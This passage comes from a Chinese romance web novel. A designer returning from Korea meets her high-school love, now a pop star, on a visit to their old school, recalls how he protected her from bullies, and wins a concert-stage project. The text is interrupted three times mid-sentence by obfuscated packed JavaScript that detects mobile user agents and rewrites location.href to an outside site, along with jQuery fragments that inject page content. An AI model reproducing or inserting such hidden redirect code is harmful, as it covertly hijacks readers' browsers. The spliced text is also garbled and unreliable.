全班乃至整个年级,都鲜少有人不喜欢瞿姐。她从不黑脸、温柔耐心、讲课通俗易懂。
云缇抿嘴笑了下,“说不定都认不出我了。”
“少胡说了,谁都知道瞿姐最喜欢你!”林从菡压根不信,“提子,你可别说出国这些年你从来没和瞿姐联系过啊。”
“……”云缇默不作声地喝了口奶茶。
“还真是啊?”林从菡观察她的表情,有些难以置信,一手搭在方向盘上,一手伸过来捏了捏她的胳膊,“好吧,我和你说过今天都有谁没?”
林从菡知道高三那年云缇家里出了点儿事,整个高三云缇都魂不守舍,每次月考都在退步,到三诊直接请假没参加。
但无论如何,她都没想到云缇会一毕业直接人间蒸发。
她当时气云缇连最好的朋友都要抛弃,但又舍不得,好不容易在大二重新和云缇联系上,才知道对方去了韩国。
具体发生了什么她到现在也没好问,只知道这些年云缇一直过得不顺心。
云缇不愿意说,她也不会逼问,偶尔触及这个话题,只能生硬地略过。
“还没。”云缇也若无其事地回答道,“让我猜猜,肯定有班长吧。是不是还有江尽烨?”
“对,原本副班也要来,但是临时加班没办法,下次再一起吧。”正好红灯,林从菡抽空看了眼手机,“他们到了,咱们抓紧,我这次还得蹭瞿姐的停车位。”
到了校门口,班长全绮和江尽烨一气呵成地开门上车。门口的保安对他们眼熟,但还是依照规定,电话确认过后才将他们放进去。
进了学校,车子只能以龟速前进,林从菡甚至还有功夫回头看他们俩一眼,调侃道:“你们看看这是谁?”
云缇也探出身子回头,朝二人有些局促地笑了笑,“好久不见。”
车内安静两秒,随后咋咋唬唬地闹开。
“我没看错吧!”
“云缇你啥时候回来的?”
“都有点认不出你了,变化好大。”
“林从菡你也太不够意思了,瞒到现在才告诉我们。”
“……”
太久不和高中同学联系,乍然面对这样的闹腾,云缇有点儿不适应,倒也不反感,轻轻笑着回答问题,慢慢在话语间找回了熟悉的相处模式。
再加上全绮和江尽烨本身就是俩活宝,哪怕是横在马路中央的立牌都能被他们说出花来,压根没出现尴尬的冷场。
校园里正好响起课铃,一群学生从他们身边跑过,校服被风鼓起,脚步杂乱却有活力,喧哗声一阵又一阵连着掀。
从停车棚到教学楼,操场是必经之路,阳光斜斜从茂密的榕树缝隙里漏下来,绛红色的跑道被切成明暗两半,有三三两两的学生穿着棒球服在散步,中间草坪上还有男生踢足球。
南榆三中每届校服颜色都不一样,经过好几届的更迭,现在已经完全变成了陌生的模样。
“你们说,校服特地换颜色,是不是就是为了防止毕业生穿着校服偷溜进来?”
云缇盯着那些学生的背影,心不在焉地应声。
视线在跑道上顿了顿,她低头望向手里的手机,又鬼使神差点开朋友圈看了一眼。
距离小张发出那条收工的照片,已经过去了一个半小时。
虽然不知道小张具体负责什么工作,但如果外围已经收工,想必季煦礼也结束工作了。
肯定遇不上。
她镇定地将手机重新揣回兜里。
没人注意到她短暂地开小差,话题早已欢脱跳转,云缇自然地加入话题,和他们一起细数校园中的微妙变化。
走到教学楼楼下,仰头望着显示月考光荣榜的电子大屏,全绮忽然感慨:“我现在看见电子大屏,还能想起咱高二那年的事儿——你们应该都记得比我们大一届的季煦礼吧?”
“……”
云缇佯装没感觉到一旁林从菡意味深长的目光,只专注地看着光荣榜,似乎对他们的分数很感兴趣。
“当然记得啊,咱们学校最出名的两大帅哥,季煦礼和周淮聿,谁能忘?”林从菡见云缇不接招,撇了撇嘴,故意大声回答。
江尽烨点头:“我记得季煦礼还很爱往咱们年级跑,也不知道找谁。”
闻言,林从菡响亮地笑了一声。
云缇耳廓有点烫。
“周淮聿不是就在三中待了两学期吗?真论起来季煦礼才算彻头彻尾的三中人吧。”全绮继续说,“他高三那年还跑去控制室篡改光荣榜,帮好兄弟周淮聿秀了波恩爱,不知道他自己谈起恋爱来得狂成什么样。”
“说不定季煦礼其实谈了段无人知晓的恋爱呢?”
“怎么可能!”全绮毫不犹豫否认,“这种嚣张的人谈恋爱也绝对轰轰烈烈的。”
林从菡挽上云缇的手,头也靠在她肩膀上,拖长声音,“要是人家女朋友不让,也不能一意孤行吧?”
“谈这么拿得出手的男朋友,为什么还要藏着掖着?”全绮不以为然,“就不存在这种假设。”
“也是,不过他现在当了明星,离咱们距离也远了,估计要找对象也是圈里的。”
林从菡点头,又问:“提子,你觉得呢?”
三人都齐刷刷看过来。
云缇心虚,不想再继续这个话题,索性直接拽着林从菡往楼上走:“少在学校里说这些,早恋不好,别教坏高中生。”
“云缇,我说错了,你这么多年一点儿也没变。”全绮肃然起敬,“清心寡欲得像个尼姑似的。”
话音刚落,林从菡突然夸张地笑起来。
云缇无言,狠狠掐了她一下,换来一声凄厉的惨叫和终于老实下来的林从菡。
除去云缇,其余三人都回过学校好几次,轻门熟路地往瞿荷珠现在的办公室走。
穿过熟悉的空中廊桥再左转,路过无数间教室,偶尔和好奇打量他们的高中生撞上目光,云缇好像在恍惚间又回到了自己的少女时代。
两边的墙才刷过新漆,淡绿色的墙裙齐腰高,上头的白墙还依稀透着先前层层叠叠的痕迹。
也不知道能不能找到她先前悄悄刻的字。
还没来得及找,就抵达了办公室。
江尽烨一边敲门,一边压低声音说:“瞿姐刚和我说才下课,让我们在办公室等几分钟,她和办公室其他老师打过招呼了。”
直到办公室内有人应“请进”,江尽烨才推开门。
这声音有些耳熟。
心思还在后面飘,脚已经先一步踩进了办公室。
声音的主人出现在眼前。
是她高中时曾撞见过许多次的,季煦礼的班主任董老师。
除此以外,靠墙那张旧沙发上还坐着个人。
云缇原地站住。
——是刚才被他们八卦的主人公。
那人侧对着她,一条腿叠在另一条腿上,手里端着个一次性纸杯,食指上素戒闪了闪,修长的手指像拨动乐器似的轻轻转动杯身,手背上青色血管随着动作微微隆起。
他仍穿着她先前在朋友圈无意间瞥见的那件深灰色衬衫,阳光一移,肩头便抖落一小块金黄。
听见响动,他连眼皮子都不抬一下,只继续专注地盯着董老师,下颚绷得很紧,线条硬朗,却在阳光中又软下来,蒙上一层极淡的暖调。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489041|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云缇听见全绮清晰地倒吸一口凉气。
她平滑地移开目光,率先向董老师问好:“董老师,打扰了,我们是瞿老师的学生,来这儿等她下课。”
与此同时,操场爆发出一阵欢呼。
连办公室的天花板都与有荣焉地震了震。
季煦礼慢条斯理地掀起眼皮朝她投来一瞥。
她察觉到,往反方向偏了偏头。
董老师点点头,好脾气地让他们随便坐。
四人在办公室另一张沙发上坐下。
沙发窄而小,四个人坐在一起有点儿逼仄。
云缇有点儿不舒服,正准备寻个由头站起来,就听见对面季煦礼忽然开了口:
“你们不嫌挤?这边也能坐。”
在场唯二的大老爷们江尽烨立马从沙发上跳起来,从善如流到那边沙发去坐下,咧嘴道:“这不赶巧了,大明星今天也回来看老师啊?”
季煦礼冷淡地颔首。
少了个人,三个女生再错开坐,沙发也不觉得挤了。
云缇特地选的季煦礼斜对角的位置坐,不会和对方产生目光接触,此刻低头玩手机,不参与话题。
“你们待会碰见学生可别说季煦礼还在这儿啊。”董老师推了推眼镜,笑道,“他们以为小季拍完广告就走了,不然现在学校可安静不下来。”
“没问题!”全绮接话,做了个给嘴上拉链的动作,“我们懂的。”
尽管读书时不认识董老师,但江尽烨和全绮丝毫不怵,耍宝般逗老师开心。
没怎么听见季煦礼说话。
云缇机械地划拉着自己的手机屏幕,没有抬头,也没太注意他们的话题。
她想,的确是过去太久了。
季煦礼这样一个话唠如今竟沉默寡言。
或许是年岁渐长,无法无天的少年也练就了喜怒不形于色的本领;又或许是他们之间早已生出无形的厚壁,既无办法也没立场去探得对方真实的情绪。
更何况,身为明星本就要谨言慎行。
在韩娱工作那几年,她见多了明星之间为了撕咖位撕代言无所不用其极,捕风捉影的本事更是令人发指。
多说多错,不如少说话,总不会落人话柄。
手指又无所事事地滑动主屏幕。
可是,一个相当自我的人变得束手束脚,本身就极矛盾。
云缇看着黑下去的手机屏幕,同自己的倒影对视。
往昔情景还历历在目。
不过是校园宣传纪录片提了点儿要求,他就当场黑脸。
他对所有人的让步都习以为常,更学不会伪装。
少年语气倨傲又理所应当:“我为什么要为了别人改变自己?演戏无不无聊?”
校方因为季家的捐款,对季煦礼慈眉善目,哪怕他发脾气也一个劲儿哄。
可少年依旧不依不饶,最后不耐烦地撂杆子不干了:
“我就这样,要么就接受。”
“要么就找别人宣传。”
所以在韩国看见季煦礼的广告时,云缇才会那么惊讶。
没想到……他居然会选择成为歌手。
大概她从不曾了解他。
云缇一时出神。
手机屏幕倏地亮起。
有消息从屏幕上方弹出。
【提子,抬头。】
她特意歪头朝林从菡所在的方向看,却还是没避开,甚至直接撞上了季煦礼的眼神。
年轻男人不知何时走到他们这侧,正低头理厚厚一沓答题卡上。
这一转头,她正好瞧见季煦礼望过来的眼睛。
她愣了一下。
季煦礼也在看她。
那道目光从另一端望过来,越过沙发,穿过稀薄的光线和浮动的灰尘,不偏不倚,沉沉落入她眼里。
他没有笑。
也没有移开眼。
5. 第 5 章
这是七年后云缇第一次有机会仔细端详他的眼。
屋子里很热闹,全绮和江尽烨还在笑闹,董老师时不时也跟着乐呵呵地笑。
这一侧离窗户太远,阳光只能落在手背、脚尖,落不到季煦礼脸上。
他脸上有阴影。
而她在恍惚间产生错觉,以为自己正坐在那片阴影里。
目光落得有些久。
膝盖处日晒而来的热意很快将她拉回现实。
她辨出了这束目光之中的含义,不烫,不冷,好似隔着一层玻璃看东西。
只是看得见而已。
在如今的季煦礼眼里,她和一张桌子、一扇窗户、一个过路人没什么分别。
云缇睫毛颤动一瞬。
季煦礼的视线就跟着动了一下。
她厌倦了这样的僵持,木着脸主动撤回视线,手指僵硬地给林从菡发去一个问号。
【?】
林从菡秒回。
【我刚才数过了,他悄悄看了你三次^ ^】
云缇的心并没有因为这句话而软化。
她面无表情地回:【他站在那儿,一抬眼就会看到我,你想多了。】
林从菡不死心:【旧情人相见,就真的一点儿感觉都没有?】
【没有。】
心平气和敲下这两个字后,云缇将手机反扣在沙发上,倒也不再沉默,开始尝试着加入话题。
那种被人注视的感觉很快消散。
果然,
视线只是路过而已。
“嘘,是不是瞿姐回来了?”
突然,江尽烨敏锐地伸长脖子往窗外看,期待地压低声音。
众人注意力都被吸引,屏息凝神盯着尚未推开的门。
唯独季煦礼将答题卡“啪”一声放在桌上,旁若无人地同董老师说:“董姐,按成绩分好了。”
“好,辛苦。”董老师笑,“现在真是长大了,比以前懂事多了。”
“小时候不懂事,您还一直翻旧账损我。”季煦礼的语气出现起伏,有几分过去乖张的影子,“再这样我可不来看您了啊。”
“你瞧瞧,才说一句话就原形毕露……”
云缇视线聚焦,后知后觉意识到她刚才一直在听董老师和季煦礼讲话。
她不自在地放平唇线。
门就是在这时打开的。
瞿荷珠笑得眼尾炸花,比记忆里还要温柔,絮絮叨叨:
“你们也真是,前几周不是才来过?今天又来看我啦……”
话还没说完,她目光落在离门最近的云缇身上,忽地面露迟疑,收了声,似是在辨认。
云缇紧张得站起身来,双手不断交叠,清了清嗓子,小声喊“瞿姐”。
现在相熟的同学都是分班后才认识,林从菡只知道瞿荷珠格外关照云缇,却不知道其中缘由。
身为当事人,云缇很清楚,也很感激。
在那段暗无天日的日子里,唯一愿意帮她的就是瞿荷珠。
但时隔多年再见,还是有点儿无所适从。
“云缇?”瞿荷珠嘴唇翕动,不太确定地喊她。
她赶紧点头应声,握住瞿荷珠伸过来的手。
林从菡笑眯眯凑上前来:“怎么样瞿姐,见到云缇高不高兴?”
“高兴啊,怎么不高兴!”瞿荷珠笑得合不拢嘴,“小云,这次回来要呆多久?”
云缇感受到手心传来的力度,心头一暖,也用力回握住瞿姐的手,温声细语地回答:“不走了,瞿姐,我还是喜欢南榆。”
“刺啦——”
椅脚和地面摩擦发出的刺耳噪音激得她缩了缩脖子,不自觉循声望去。
制造噪音的年轻男人不知何时戴上黑口罩,额前碎发垂下,只露出一双深邃的漆眸,冷得像结了层霜。
他冲董老师和瞿荷珠点点头,随后径直离开了办公室。
衬衣衣摆冰冷,无意间擦过云缇的手背。
有点痒,她强忍住没挠。
门合上。
季煦礼的突然离开很快被掀过,办公室又热闹起来。
“怎么样,小云,你现在在哪儿上班啊……”
云缇被瞿荷珠拉着坐回小沙发。
她的视线移至小茶几。
此刻无人认领的纸杯还在冒着热气。
细细的一缕。
散了,
复而又升起。
上课铃再度响起,瞿荷珠站起身:“我这节有课,你们想不想去班上和学妹学弟传授一下经验?”
江尽烨和全绮兴奋地跳起来,连声说好。
林从菡显然也跃跃欲试,但还是先和云缇商量:“提子,你去不去?”
“你去吧小菡,我待会儿想自己在学校里逛逛。”云缇看出闺蜜很感兴趣,主动推她过去,笑眯眯地说,“别管我啦。”
林从菡仔细辨认她的神情,确定她没有丝毫勉强,才放下心来,跟着瞿荷珠一起离开。
同办公室的董老师也上课去了,眼下室内只剩下云缇一人。
她在沙发上坐了会儿,直到纸杯中温水见底,才站起身往外走。
刚才和林从菡说的话也不纯粹是推脱,她还记挂着先前一闪而过的念头,想到处走走,碰碰运气,看能不能找到学生时代的刻字。
上课时间,走廊静悄悄。
云缇脚步放得很慢,踩着地板砖缝往前走。
偶尔老师的讲课声从门缝里挤出来,扩音话筒质量不好,有些许电流滋啦的噪音,嗡嗡的。
再往前走,走廊拐了个弯。
地面上有矩形锈渍,云缇记得当年这儿摆了台热水器,一下课就排满人接水,现在落实每班一台饮水机,这个位置也被几盆盆栽替代。
她扫过走廊里每个角落,又轻飘飘往教室里扫了一眼,发现连桌椅布置也变了样。
说不上完全不同,但和她记忆里的样子相差甚远。
拐过弯,走廊更暗了。
几根日光灯管横在天花板上,灰扑扑的,只有尽头降下的台面漏出阳光,打在地面上,形成斜斜的方块。
云缇摸索着左侧墙向前走,她隐约记得当年就是在这一片区域仓促刻下几笔。
百日誓师时大家排队下楼,也不知是谁先往墙上戳,大家都依葫芦画瓢,她也凑了个热闹。
钥匙戳在斑驳白墙上,还没使劲儿墙粉就往下跑,一股酸意从钥匙尖递来掌心,最后泛到心底。
指腹触摸到墙上凹凸不平的痕迹,几乎是一瞬间就记起了当时的酸意。
她耐心地一一辨认,终于在角落找到了那个歪歪扭扭的“iui”。
圆滚滚的字母,歪七扭八地向上斜,末尾还歪出好长一条线。
原本没报多少期待,谁曾想竟真找到了。
打从高一起她就偏爱这个颜文字,不管是什么本子都会在角落画上这三个字母,就连现在的个人logo也会带上这个标识。
仿佛已经成为融入骨血的习惯,在一时反应过来前,手已经连贯地写完。
手指轻轻在字母上描了一遍,云缇盯着三个字母,微微出神。
下课铃响,走廊渐渐热闹起来。
有球鞋摩擦地面和拍球的声音越来越近。
“喂——小心!”
听见身后急促的呼唤,云缇下意识往旁边避了避。
一只手比她更快——五指张开,挡在她脸侧。
飞来的球正好拍进手心,发出一声闷响,随后弹开,滚落在地。
和危险擦肩而过,心脏砰砰狂跳。
云缇后怕地吸了口气,注意到那只手还停留在她脸侧,近到她可以看清指节上浅浅的纹路。
以及食指上那枚素戒。
她怔住,顺着手臂看去,对上了那双沉沉漆眸。
季煦礼只和她对视了一瞬,便收回目光,提了下脸上的口罩,看向对面,冷声道:
“看着点路。”
拍球的男生呆头呆脑地道歉:“对不起……我不会再在走廊投篮了。”
季煦礼面无表情地扬了扬下巴,“你砸到的是我吗?”
“姐姐,对不起!”那冒失鬼很上道,立马转身看向云缇,大声道歉后又诚恳鞠了一躬。
很快有人把季煦礼认出来,人群开始往这个方向聚集。
云缇赶紧说没关系,男生才抱着球小跑离开。
她看向季煦礼,也认真地说了声“谢谢”。
季煦礼垂眸看着她,手慢吞吞垂下去,重新揣回兜里。
“云缇。”
声音从口罩后传来,闷闷的,却意外清晰,像是从胸腔里直接震出来,尾音向下沉,很低。
简简单单两个字,在他舌尖绕了一圈,也变得纠葛不清。
重逢后,他头一回喊出她的名字。
云缇耳廓发麻,还有闲工夫胡思乱想。
原来没有忘记她。
那先前就是故意的。
好奇观望的人实在太多,她甚至瞥见有学生悄悄拿出手机在拍。
下意识用手挡了下自己的脸,云缇也顾不上季煦礼想说什么,又加强语气说了声“真的谢谢你”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489042|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,随后快步朝反方向走去。
她一走,有些大胆的粉丝就凑过来,激动又期待,你一言我一语地问季煦礼能不能签名。
季煦礼沉默地看着云缇离开的背影,视线向下一滑,落在她刚才抚摸过的那一小块墙皮上。
停顿几息。
他抬起手,指尖轻轻擦过那三个字母。
///
回到瞿姐的办公室,云缇有些忐忑地在微博广场上刷新,果然看见刚才那一幕被人发在网上。
【#季煦礼口罩杀#欣赏一下,今天季煦礼回母校拍广告,随便往那儿一站也能出神图。】
【戴着口罩都能看出是帅哥,这个眉眼我死了!!!】
【卧槽这反应是人吗?!球飞过来他一抬手就接住了,我反复看了三遍才看清动作!】
【季煦礼以前参加明星运动会就很厉害,欢迎了解一下~】
【不是这女的谁啊???站在那儿一动不动还要人去救,服了。】
【肯定老师吧,学校里不穿校服的还能是谁。】
【所以没人扒这女的是谁吗?站那儿和季煦礼对视了好几秒。】
【这角度正好看不清那个女生的脸,但感觉季煦礼眼神有点东西。】
【说了是老师吧,季煦礼肯定是确认老师有没有被砸到啊。】
【泻药,季煦礼看谁都这样,桃花眼看狗都深情。】
【就这还说季煦礼不近人情??黑子来看。】
【虽然但是,老师运气也太好了……我也想被季煦礼救……】
……
没有她的正脸照,只有一两条评论在关注她是谁,更多人都是感慨季煦礼惊人的反应速度还有出圈神图。
悬着的心这才放下来。
云缇舒了口气,退出微博。
之前在韩国务工,她和一个当红爱豆沟通设计方案时被代拍拍到过同框,随后就有极端粉丝开盒威胁。自那以后她和明星沟通交流都非常谨慎,对镜头尤其敏感。
办公室门再次被推开。
林从菡扑进来:“提子,我听说刚才你差点儿被球打到,没事吧?”
“没事。”云缇接住她,笑着任她检查。
“幸好没事,这些小孩也太虎了,走廊里还打什么球。”林从菡一边嘟囔,一边朝她八卦地挤挤眼,“我看见微博了,季煦礼反应够快呀?他不是早走了吗,你刚才……”
“偶然碰见,我也不知道他为什么在那儿。”云缇做了个停止的手势,迅速转移话题,“瞿姐他们呢?”
“校门口呢,我来接你,特地想问问情况,结果白期待一场。”林从菡伸了个懒腰,把她从沙发上拉起来。
“走吧,咱去吃火锅,瞿姐请客!”
///
或许那颗球还是在她心上砸缺了一角。
当晚,云缇竟梦见了她初次见到季煦礼的时候。
那是一节体育课。
她好不容易找到借口请假,可以窝在教室里写作业。
写到第三题,她听见走廊有动静,没太在意,拿起空水杯准备出去接水。
“哗——”
冰水从头顶浇下来,她下意识闭眼,整个人僵在门口,水顺着头发往下淌,湿了校服,最后在地面聚成一滩。
她听见不远处传来窃笑。
睁开眼,睫毛上的水珠模糊了视线,只隐约看见几个女生在几步外笑弯了腰。
“哎呀,对不起呀。”为首的女生笑道,“我准备洗一下教室门的,没想到你突然出来了。”
旁边的人跟着笑。
云缇站在那儿,水还在往下滴,头发一绺一绺地贴在脸上,校服也湿答答,变得很沉,压得她摇摇欲坠。
她想说点儿什么,喉咙却像被堵住,半个音节都发不出。
明明是盛夏天,她却控制不住地发抖。
从来没有遇到过这种事。
比起恐慌无措,她更多的是觉得屈辱。
少女低头,看着自己再次开胶的运动鞋,意识到这双鞋是彻底不能穿了。
“喂。”
很突然的。
有男声从旁响起。低低的,带着点儿不耐烦。
一件校服劈头盖脸砸下来,将她整个人罩住。
她茫然地拉下衣服,抬起头,看见少年俊朗的侧脸。
阳光将他的轮廓勾勒出一道浅浅的边。
少年没看她,望着几步外那几个女生,单手插兜,倚着走廊柱子,挂在肩膀上的校服松松垮垮,连带着声音也懒懒的。
“笑够了吗?”
6. 第 6 章
笑声停了。
那几个女生变了变脸色,互相对视一眼。
少年站在那儿,穿着件蓝色的校服T恤——三中校服以颜色区分,他们这一届是军绿色,而蓝色是上一届。
这人是高二的。
但即使不看校服,她们也知道这是谁,学校门口滚动播放的宣传片、论坛里热帖反复提及的主人公,都是他。
大名鼎鼎、高二一班的季煦礼。
空水桶“哐当”一声砸在地上,滚了几圈,落在云缇脚边。
那几个女生推搡着离开,走得很急,脚步声急促地消失在走廊尽头。
走廊安静下来。
云缇站在原地,水还在滴,但她感觉不到了。她注视着那个少年,慢半拍地把他和三中名人划上等号。
对方也来自另一个天差地别的世界。
她感激又不安,嗫嚅着唇,手指捏紧这件不属于自己的校服外套,双手递出去。
“谢谢你,还有……对不起,你的衣服湿了。”
少年高她近乎一个头,闻言低头看她。
她终于看清他的眼睛。
是漂亮又少见的形状,眼尾微微上挑,弯出很浅的弧度,不算太张扬,双眼皮褶也深深,沿着弧度向上,又在末端轻轻散开。
他一瞬不眨地看着她,眼眸瞳色很深,像化不开的墨,透不出光,看上去空空,什么都落不进去。
一秒。
两秒。
云缇睫毛轻轻一扇,不自在地眼神乱飞。
少年漫不经心地直起身,转身朝另一个方向走,懒洋洋地背对着她挥挥手:
“你先披着吧。”
他从头到尾就没低头看过那件被浸湿的外套。
云缇保持着递校服的动作,站在原地,目送季煦礼踏过廊桥。
阳光照在湿透的校服上。
她忽然不再觉得冷了。
///
尖锐的闹铃刺破梦境。
眼皮沉重得像灌了铅,云缇疲惫地按了按太阳穴,翻身坐起。
已经很久没有想起过高一的事儿了。
她撑着床沿,半天没有动作。
房间里很安静,静到能听见自己的呼吸声。
一块湿答答的海绵缀在心口,压得她又闷又晕。
枕边手机嗡嗡作响,屏幕暗了又亮。
云缇慢吞吞地拿起手机,看见来电人的备注,不自觉蹙起眉,直接挂断。
然而对方仍不死心,再次拨来电话。
挂断,再拨,挂断,再拨。
循环往复几次,云缇不堪其扰,终于点击接通。
“云云,在做什么?爸爸打了好几通电话,一直无人接听。”中年男人尾音微微上扬,强压平稳的、故作慈祥的调子,时不时干咳一声。
云缇敷衍:“昨天加了班,才醒。”
“怎么天天加班?要我说,女孩子工作没必要那么努力。你看看你妹妹,就在家闲着多好……”
不知是哪个词惹得眉心一跳,她反感地打断对方的话:“您没事的话我先挂了,待会儿还要去公司上班。”
“好好好,爸爸不说这个了。”闻言,对方清了清嗓子,语气放缓,黏腻得像抹了一层油,有种不自然的亲热,“回国这么久,你还没回过家呢。爸爸很想你,今天咱们一家人一起吃晚饭,让孙叔来接你。”
云缇沉默。
电话那头以为信号不好,喊了好几声:“云云?云云?”
“爸。”云缇罕见地喊出了这个称呼,浅笑反问,“你那个家里,谁和我是一家人?”
“……没规矩,你这是在和谁说话!”电话那头音量陡然拔高,又迅速压下去,最后以不容置喙的语气下达最后通知,“孙叔会在下班时间接你。”
话落,对方果断地挂了电话。
“……”
云缇唇角的笑隐没。
她面无表情地看着黑屏的手机,与自己的倒影对视,而后起身走向洗手间。
哗啦啦的水声响起。
冰凉的水拍在脸上,将所有情绪尽数淹没在冷意里。
有水珠挂在鼻尖,摇摇欲坠。
待她几秒后再直起身。
镜中的自己已经熟练地露出若无其事的笑容。
小插曲而已。
工作更要紧。
窗户玻璃上已蒙上一层薄雾,云缇用手指划开,凉意顺着指尖爬上胳膊。她垂首向下看,望见了巷口湿漉漉的梧桐。
又是一个雨天。
一直到她抵达工位坐下,雨都还未停歇。
隔壁工位的宁喜早对她没了兴趣,这些日子总爱去和对面工位的一个实习生搭话,有意无意探听她的背景。
云缇不关心对方的八卦,戴上耳机,在完成工作后又往内部邮箱投去一份复盘文档。
已经快两周了。
食指搭在鼠标左键上,虚虚地敲了两下。
就在这时,不远处隐约有嘈杂声。
心思一转,云缇拔下U盘,慢吞吞朝打印机的方向走。
被众人簇拥着的总监正一边看文件一边分心听项目汇报,时不时甩出一个问题,一旁的员工心惊胆战地回复,生怕答错换来一通痛骂。
听完员工汇报,总监头也不抬,冷不丁又甩出个问题:“这三年来快注季煦礼的海报风格的纵向横向对比图有吗?”
“……”员工卡壳了。
他想说没有,但又不敢说得那么直白。
就在他左右为难不知该如何是好时,一道清亮的女声从外围传来。
“总监,我有整理过这份资料。”云缇观察许久,站在外围,稍稍放大音量,举起手中的U盘。
场面为之一静。
围在总监附近的人疑惑地打量她,似乎不明白从哪儿跑出这样一个冒失鬼。
总监漫不经心抬眼,似笑非笑地看着她,“云缇,是吧?”
云缇从容不迫地微笑:“是,没想到总监还记得我。”
总监哼笑一声,不再看她,重新看向自己手中的文件,脚步急促地继续往前走。
好像只是随口一问。
云缇也不气馁,默默站到墙角让路。
“对了,就你。”没走出几步,总监忽然回头,指了指她,“带上资料,下班前来一趟我办公室。”
总监没有刻意压低音量,因此整个设计部办公区的人都听见了这句话。
无数视线聚在云缇身上。
或警惕或看戏。
云缇恍若未觉,只不卑不亢地应好。
回到工位,宁喜敏感地再度凑过来,盯着她瞧,面上笑意减淡:“小云,是不是粗心大意惹总监不高兴啦?”
云缇无辜地笑:“只有到时候去办公室才知道了,宁姐要一起去吗?”
“……”碰了软钉子,宁喜显然不痛快,只摇头感慨,“哎哟,你们这些喝过洋墨水的留学生呀,倒是比我们莽撞多了。”
云缇不搭理她,重新戴上耳机,点开搜索界面,开始收集季煦礼三年来的宣传海报,制作刚才夸下海口的表格。
到了下班时间,手机开始不停歇地震动。
她索性将手机转为静音,随后揣进衣兜里,带上打印好的报表,敲开总监办公室的大门。
“总监,这是我整理的对比总结表。”
云缇将资料放在桌上。
总监靠着椅背,随意扫了几眼报表,“你发来的邮件我都看过,没做过这个方向的设计,报表是今天临时赶的吧?”
心思已经被看穿,她也不再辩解,诚实道:“是,我希望能努力让总监注意到我。”
“不管什么方式?”
“不管什么方式。”
办公室里的寂静难熬地蔓延开。
云缇面上端着镇定自若的神情,垂在身侧的手却握紧。
半晌,总监咯咯笑起来。
“云缇,我以前以为你是愣头青。但现在看来,你还挺聪明。”
“总监……?”云缇不解地歪头。
“不需要你来这套,我早知道卓总是你父亲。”
云缇听出还有后话,很有眼力见地闭上嘴,安静倾听。
“长话短说吧,卓总之前特地敲打过,不希望你负责太辛苦的工作。”总监轻描淡写道,“但是我有我的用人原则。我观察了你一段时间,你挺对我胃口。”
她从抽屉里抽出一份文件放在云缇面前。
“你们组宁喜参加的项目,属于季煦礼此次演唱会的外围工作。我记得你在韩国主要负责的是舞台设计,现在正好有专业对口的项目——季煦礼的演唱会团队出了点儿差错,正找我们救急。”
“这个项目,你有没有信心?”
潮湿缠绵的凉顺着窗缝钻进来,风也呼啸,盖过了云缇的回答。
片刻后,她同总监道别,离开了公司。
走出大厦,冷雨便扑了个满怀。
云缇裹紧外套,捏紧项目书往里带,心却一格一格升温。
方才总监的警告还在耳边:“我劝你考虑清楚,接下项目后需要面对什么。你得和快注最挑剔的设计师一起工作,未来几个月昼夜颠倒,和季煦礼的团队一起全国各地飞。要是你因为太辛苦或是卓总施压就想退出,我是不会批准的。”
“要么你就现在拒绝,继续坐冷板凳,要么就给我坚持到底。”
她毫不犹豫地应下了。
职场瞬息万变。
云缇心里明白,错过这个机会,估计就没有下次了。
她顾不得注意甲方究竟是谁,只想迫切地抓住饵往上走。
撑开伞,她走进雨中。
更何况……
年轻男人长身玉立,垂眸唤她的场景在眼前一闪而过。
云缇闭了闭眼。
……团队有那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489043|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么多人,和季煦礼直接接触的概率小之又小。
就算对上,也只当寻常甲方相处就是。
他们本就成了陌生人。
不远处有黑色轿车在按喇叭。
云缇循声看去,注意到一辆陌生又熟悉的黑色轿车。
她蹙眉,到底还是走了过去。
车窗摇下,只有孙叔一人。
紧皱的眉松开,自嘲地牵起嘴角。
果然不会亲自来。
“孙叔。”云缇温声和孙叔打招呼,礼貌地说,“我不回去,辛苦你跑一趟,我会和他说清楚。”
车窗并没有因此摇上来。
孙叔露出苦笑,“卓总下了死命令,今天必须把你接走。小云,你也别为难叔,成吗?”
“……”她放平嘴唇,低头看了眼时间。
七点。
孙叔已经在这儿等了两小时。
她不忍心对无辜的人说重话,便妥协地钻进轿车后座。
索性借这次回家的机会和那个人说清楚。
孙叔感激地冲她道谢,她只靠着椅背闭目养神,不愿再开口。
待车停下,她睁开眼,却发现自己被带到了一家私人餐厅。
微妙的违和感涌上心头,她询问:“孙叔,不是去御景园吗?”
